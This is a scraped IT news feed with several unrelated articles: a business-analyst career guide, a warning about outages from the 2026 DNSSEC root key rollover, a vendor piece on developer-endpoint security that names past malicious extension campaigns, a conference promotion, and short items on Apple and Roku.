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<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
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<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3693085/it-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693085/it-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
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<title><![CDATA[Should you use AI for a task? Here’s a simple way to decide | Bruce Schneier]]></title>
<description><![CDATA[Sometimes, what matters isn’t your output but what you put into the process. Think of it like work v the gymI teach public policy at the Harvard Kennedy School and the Munk School at the University of Toronto. And it will come as no surprise to you that my students regularly use AI to complete th...]]></description>
<link>https://tsecurity.de/de/3693080/it-nachrichten/should-you-use-ai-for-a-task-heres-a-simple-way-to-decide-bruce-schneier/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693080/it-nachrichten/should-you-use-ai-for-a-task-heres-a-simple-way-to-decide-bruce-schneier/</guid>
<pubDate>Sat, 25 Jul 2026 06:11:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Sometimes, what matters isn’t your output but what you put into the process. Think of it like work v the gym</p><p>I teach public policy at the Harvard Kennedy School and the Munk School at the University of Toronto. And it will come as no surprise to you that my students regularly <a href="https://www.insidehighered.com/news/faculty/learning-assessment/2026/07/08/brown-professor-suspects-most-his-class-used-ai-cheat">use AI</a> to complete their writing assignments. Doing so is a waste of their tuition money. But if their entire career is going to include AI writing assistants, why shouldn’t they embrace their future?</p><p>The best way I’ve found to explain the dilemma <a href="https://danielmiessler.com/blog/keep-the-robots-out-of-the-gym">comes from</a> the AI researcher Daniel Meissler: it’s the difference between work and the gym.</p> <a href="https://www.theguardian.com/commentisfree/2026/jul/24/should-you-use-ai">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[IT leaders: Leading-edge AI insights await at TechCrunch Disrupt]]></title>
<description><![CDATA[For CIOs, learning from the startup ecosystem has never been more critical.



As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, gro...]]></description>
<link>https://tsecurity.de/de/3693066/it-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693066/it-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/</guid>
<pubDate>Sat, 25 Jul 2026 05:51:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For CIOs, learning from the startup ecosystem has never been more critical.</p>



<p class="wp-block-paragraph">As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, grow, and thrive in today’s AI-disrupted business environment.</p>



<p class="wp-block-paragraph">So why not immerse yourself in Silicon Valley’s most famous firehose of hyper-accelerated fail-fast and dream-big culture by <a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">registering for TechCrunch Disrupt 2026</a>?</p>



<p class="wp-block-paragraph">Three packed days of 200-plus sessions across six stages will spark new ideas for reshaping your AI strategy, provide fresh perspectives on the architectural, workflow, and resource decisions involved in moving AI from pilots to scale, and give you a sneak peek of business disruptions to come.</p>



<p class="wp-block-paragraph"><strong><a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">Get 10% off your TechCrunch Disrupt</a> pass with the exclusive code CIO10.</strong> </p>



<p class="wp-block-paragraph">This year’s <a href="https://techcrunch.com/events/techcrunch-disrupt/">TechCrunch Disrupt</a>, held Oct. 13-15 at San Francisco’s Moscone West, will feature big-picture conversations on what’s next in AI; discussions on how AI agents are rewriting SaaS, enterprise workflows, software pricing, and security; and demonstrations of AI’s future across robotics, manufacturing, defense, and industrial operations; and more.</p>



<p class="wp-block-paragraph">Over 10,000 attendees will hear from 250-plus startup founders, technology executives, and enterprise IT leaders about how the future of programming is being rewritten, what enterprise AI security requires, how startups are orchestrating workloads across models while managing cost and reliability at scale, why creating a safety culture is essential for AI deployment, and how startups are deciding what work humans should own versus what should be delegated to AI as they work to build hybrid teams without losing speed, accountability, or culture.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p class="wp-block-paragraph">And of course, the rising tide of enterprise-focused startups will be there seeking to bring agentic systems to your business workflows, as well as vendors familiar to your enterprise IT portfolios, such as AWS, Google, and Databricks, and enterprise IT colleagues creating mutually beneficial partnerships with the startup community, such as American Express.</p>



<p class="wp-block-paragraph">That’s not to mention TechCrunch Disrupt’s signature <a href="https://techcrunch.com/startup-battlefield/">Startup Battlefield</a>, in which 200 standout companies showcase their innovations to compete for a $100K equity-free prize. The battlefield will give CIOs a rapid-fire, broad view of what’s possible — and a possible early look at the next big enterprise player. After all, Dropbox, Trello, and Cloudflare, among others, roamed that same battlefield before the world knew their names.</p>



<p class="wp-block-paragraph">And with M&amp;A now an early-stage startup strategy for many from day one, TechCrunch Disrupt’s exhibition floor provides IT leaders not just an opportunity to discuss the nuts and bolts of innovation architecture or how an upstart product can enhance your workflows, but a chance to find your next innovation partner, or more.</p>



<p class="wp-block-paragraph">Leading-edge startups are figuring out how to make AI work at scale. Shouldn’t you be?</p>



<p class="wp-block-paragraph"><strong>Don’t miss your chance to experience TechCrunch Disrupt 2026. <a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">Book your pass today and use the exclusive code CIO10</a> to save 10% before prices increase.</strong></p>
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<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 00:18:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



<p class="wp-block-paragraph"></p>



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<title><![CDATA[Hoping to Collect on Apple’s $250M AI iPhone Settlement? You’ll Have to Wait a Year]]></title>
<description><![CDATA[The company will pay some iPhone owners to settle a lawsuit, but following a development last week, it’s clear the legal machine grinds slowly.]]></description>
<link>https://tsecurity.de/de/3692637/it-nachrichten/hoping-to-collect-on-apples-250m-ai-iphone-settlement-youll-have-to-wait-a-year/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692637/it-nachrichten/hoping-to-collect-on-apples-250m-ai-iphone-settlement-youll-have-to-wait-a-year/</guid>
<pubDate>Fri, 24 Jul 2026 23:48:55 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The company will pay some iPhone owners to settle a lawsuit, but following a development last week, it’s clear the legal machine grinds slowly.]]></content:encoded>
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<title><![CDATA[Roku Raises Prices of Streaming Devices By Up To 60%]]></title>
<description><![CDATA[Roku has raised prices on several streaming devices, blaming memory and component shortages tied to the AI data-center boom. The Roku Ultra jumped from $100 to $150 and the basic Streaming Stick rose from $30 to $40. The Desk reports: In a phone call with The Desk on Friday, a Roku executive said...]]></description>
<link>https://tsecurity.de/de/3692521/it-security-nachrichten/roku-raises-prices-of-streaming-devices-by-up-to-60/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692521/it-security-nachrichten/roku-raises-prices-of-streaming-devices-by-up-to-60/</guid>
<pubDate>Fri, 24 Jul 2026 23:13:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Roku has raised prices on several streaming devices, blaming memory and component shortages tied to the AI data-center boom. The Roku Ultra jumped from $100 to $150 and the basic Streaming Stick rose from $30 to $40. The Desk reports: In a phone call with The Desk on Friday, a Roku executive said the company made the tough decision to raise prices on its streaming hardware to address shortages in computer memory and other components caused by the artificial intelligence rush. [...] Still, the executive who spoke with The Desk on Friday said the company believes its hardware is still competitive against other streaming TV hardware because Roku devices are still priced aggressively compared to the Apple TV and other expensive streaming hardware, and the company remains focused on looking at ways to add value to its Roku platform before and after it enters a customer's home. "We are doing our best to have great deals like what we have going on right now," the executive said. "Roku is even upping the price for a bundle that includes a Streaming Stick Plus and a one-month subscription to Fox One," notes Ars Technica in a separate report.
 
"As recently as July 20, Roku listed the bundle at $60 with a sale price of $25, according to the Internet Archive's Wayback Machine. Now, the bundle carries an $80 MSRP and $45 sale price."<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/24/2059242/roku-raises-prices-of-streaming-devices-by-up-to-60?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
